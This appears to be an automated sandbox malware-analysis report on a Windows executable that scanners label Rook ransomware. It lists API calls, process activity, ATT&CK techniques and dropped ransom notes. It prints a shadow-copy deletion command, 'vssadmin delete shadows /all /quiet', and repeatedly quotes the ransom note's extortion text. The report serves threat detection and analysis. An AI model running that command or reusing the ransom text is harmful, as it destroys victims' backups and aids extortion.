Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37472C0	0_2_00007FF7E37472C0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371BAF0	0_2_00007FF7E371BAF0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373DAF8	0_2_00007FF7E373DAF8
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3738240	0_2_00007FF7E3738240
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373F9AC	0_2_00007FF7E373F9AC
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37219F0	0_2_00007FF7E37219F0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371D120	0_2_00007FF7E371D120
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3716920	0_2_00007FF7E3716920
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3718150	0_2_00007FF7E3718150
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3737980	0_2_00007FF7E3737980
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3736180	0_2_00007FF7E3736180
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37368B0	0_2_00007FF7E37368B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37388D0	0_2_00007FF7E37388D0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3714900	0_2_00007FF7E3714900
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3737EF0	0_2_00007FF7E3737EF0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371A820	0_2_00007FF7E371A820
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373A020	0_2_00007FF7E373A020
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3735840	0_2_00007FF7E3735840
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E372F050	0_2_00007FF7E372F050
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373D87C	0_2_00007FF7E373D87C
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3717FD0	0_2_00007FF7E3717FD0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3742F30	0_2_00007FF7E3742F30
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3738F60	0_2_00007FF7E3738F60
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371D780	0_2_00007FF7E371D780
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3716EA0	0_2_00007FF7E3716EA0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E372F6A0	0_2_00007FF7E372F6A0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37306C0	0_2_00007FF7E37306C0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3731F00	0_2_00007FF7E3731F00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3716640	0_2_00007FF7E3716640
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3717650	0_2_00007FF7E3717650
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3735650	0_2_00007FF7E3735650
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3738660	0_2_00007FF7E3738660
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3735E90	0_2_00007FF7E3735E90
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E374A5A8	0_2_00007FF7E374A5A8
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37395D0	0_2_00007FF7E37395D0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3746DF0	0_2_00007FF7E3746DF0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3737520	0_2_00007FF7E3737520

Source: ZunmmW7pe5.exe	Virustotal: Detection: 79%
Source: ZunmmW7pe5.exe	Metadefender: Detection: 27%
Source: ZunmmW7pe5.exe	ReversingLabs: Detection: 88%

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E3711660 CreateToolhelp32Snapshot,Process32FirstW,lstrcmpW,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,FindCloseChangeNotification,

0_2_00007FF7E3711660

Source: unknown	Process created: C:\Users\user\Desktop\ZunmmW7pe5.exe "C:\Users\user\Desktop\ZunmmW7pe5.exe"
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet	Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:304:WilStaging_02
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Mutant created: \Sessions\1\BaseNamedObjects\asfgjkl878645165456fa888
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:304:WilStaging_02

Source: classification engine

Classification label: mal100.rans.winEXE@7/291@0/0

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: ZunmmW7pe5.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: ZunmmW7pe5.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E3711310 LoadLibraryA,GetProcAddress,ShellExecuteW,LoadLibraryA,GetProcAddress,

0_2_00007FF7E3711310

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

File deleted: c:\users\user\desktop\zunmmw7pe5.exe

Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Key value created or modified: HKEY_CURRENT_USER\Software RookPrivateKey

Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E3713970 GetProcessHeap,GetCommandLineW,CommandLineToArgvW,SetProcessShutdownParameters,RtlInitializeCriticalSection,CreateFileW,SHEmptyRecycleBinA,GetSystemInfo,RtlAllocateHeap,CreateSemaphoreA,CreateSemaphoreA,RtlInitializeCriticalSection,RtlAllocateHeap,CreateSemaphoreA,CreateSemaphoreA,RtlInitializeCriticalSection,RtlAllocateHeap,RtlAllocateHeap,CreateThread,CreateThread,lstrlenW,lstrlenW,RtlAllocateHeap,lstrcpyW,HeapFree,lstrlenW,lstrlenW,lstrlenW,RtlAllocateHeap,lstrcpyW,lstrlenW,HeapFree,lstrlenW,OpenMutexA,CreateMutexExA,GetLogicalDrives,WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,WaitForMultipleObjects,WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,WaitForMultipleObjects,CloseHandle,CloseHandle,HeapFree,HeapFree,RtlDeleteCriticalSection,CloseHandle,ExitProcess,

0_2_00007FF7E3713970

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3712C00 RtlAllocateHeap,lstrcpyW,lstrcatW,CreateFileW,lstrlen,WriteFile,CloseHandle,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcpyW,lstrcatW,lstrcatW,lstrcmpW,lstrlenW,lstrcmpiW,lstrcmpiW,lstrcmpiW,WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,HeapFree,RtlAcquirePebLock,lstrlenW,RtlAllocateHeap,RtlLeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,lstrlenW,WideCharToMultiByte,RtlAllocateHeap,lstrlenW,WideCharToMultiByte,GetLastError,HeapFree,RtlReleasePrivilege,	0_2_00007FF7E3712C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37130B0 WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,HeapFree,RtlAcquirePebLock,lstrlenW,RtlAllocateHeap,RtlLeaveCriticalSection,ReleaseSemaphore,RtlAllocateHeap,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcpyW,lstrcatW,lstrcatW,FindNextFileW,FindClose,lstrlenW,WideCharToMultiByte,RtlAllocateHeap,lstrlenW,WideCharToMultiByte,GetLastError,HeapFree,RtlReleasePrivilege,	0_2_00007FF7E37130B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E374313C FindFirstFileExA,	0_2_00007FF7E374313C

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

API call chain: ExitProcess graph end node

graph_0-17587

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\3D Objects\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\	Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E37403F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7E37403F4

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E3711310 LoadLibraryA,GetProcAddress,ShellExecuteW,LoadLibraryA,GetProcAddress,

0_2_00007FF7E3711310

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

0_2_00007FF7E3713970

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37403F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7E37403F4
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E374AB44 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7E374AB44
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373B340 SetUnhandledExceptionFilter,	0_2_00007FF7E373B340
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E373B1A0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7E373B1A0

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet			Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E374A3F0 cpuid

0_2_00007FF7E374A3F0

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E373B08C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7E373B08C

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	1 Native API	Path Interception	11 Process Injection	1 Modify Registry	OS Credential Dumping	1 System Time Discovery	1 Replication Through Removable Media	11 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Process Injection	LSASS Memory	2 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 File Deletion	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ZunmmW7pe5.exe	79%	Virustotal		Browse
ZunmmW7pe5.exe	28%	Metadefender		Browse
ZunmmW7pe5.exe	89%	ReversingLabs	Win64.Ransomware.Rook
ZunmmW7pe5.exe	100%	Avira	HEUR/AGEN.1228742
ZunmmW7pe5.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.ZunmmW7pe5.exe.7ff7e3710000.0.unpack	100%	Avira	HEUR/AGEN.1228742		Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://torproject.org/	ZunmmW7pe5.exe, HowToRestoreYourFiles.txt61.0.dr, HowToRestoreYourFiles.txt77.0.dr, HowToRestoreYourFiles.txt73.0.dr, HowToRestoreYourFiles.txt42.0.dr, HowToRestoreYourFiles.txt114.0.dr, HowToRestoreYourFiles.txt108.0.dr, HowToRestoreYourFiles.txt54.0.dr, HowToRestoreYourFiles.txt95.0.dr, HowToRestoreYourFiles.txt5.0.dr, HowToRestoreYourFiles.txt21.0.dr, HowToRestoreYourFiles.txt102.0.dr, HowToRestoreYourFiles.txt69.0.dr, HowToRestoreYourFiles.txt1.0.dr, HowToRestoreYourFiles.txt30.0.dr, HowToRestoreYourFiles.txt66.0.dr, HowToRestoreYourFiles.txt15.0.dr, HowToRestoreYourFiles.txt111.0.dr, HowToRestoreYourFiles.txt22.0.dr, HowToRestoreYourFiles.txt91.0.dr, HowToRestoreYourFiles.txt34.0.dr	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626600
Start date and time: 14/05/202215:16:19	2022-05-14 15:16:19 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ZunmmW7pe5.exe
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.winEXE@7/291@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 88.8%) Quality average: 69% Quality standard deviation: 32.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 78
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, VSSVC.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 92.123.224.60, 92.123.224.68
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a1449.dscg2.akamai.net, arc.msn.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, nexusrules.officeapps.live.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\CLR_v2.0_32\UsageLogs\howtorestoreyourfiles.txt.Rook (copy)

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Reputation:	low
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Reputation:	low
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\3D Objects\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\ARM\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\ARM\S\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
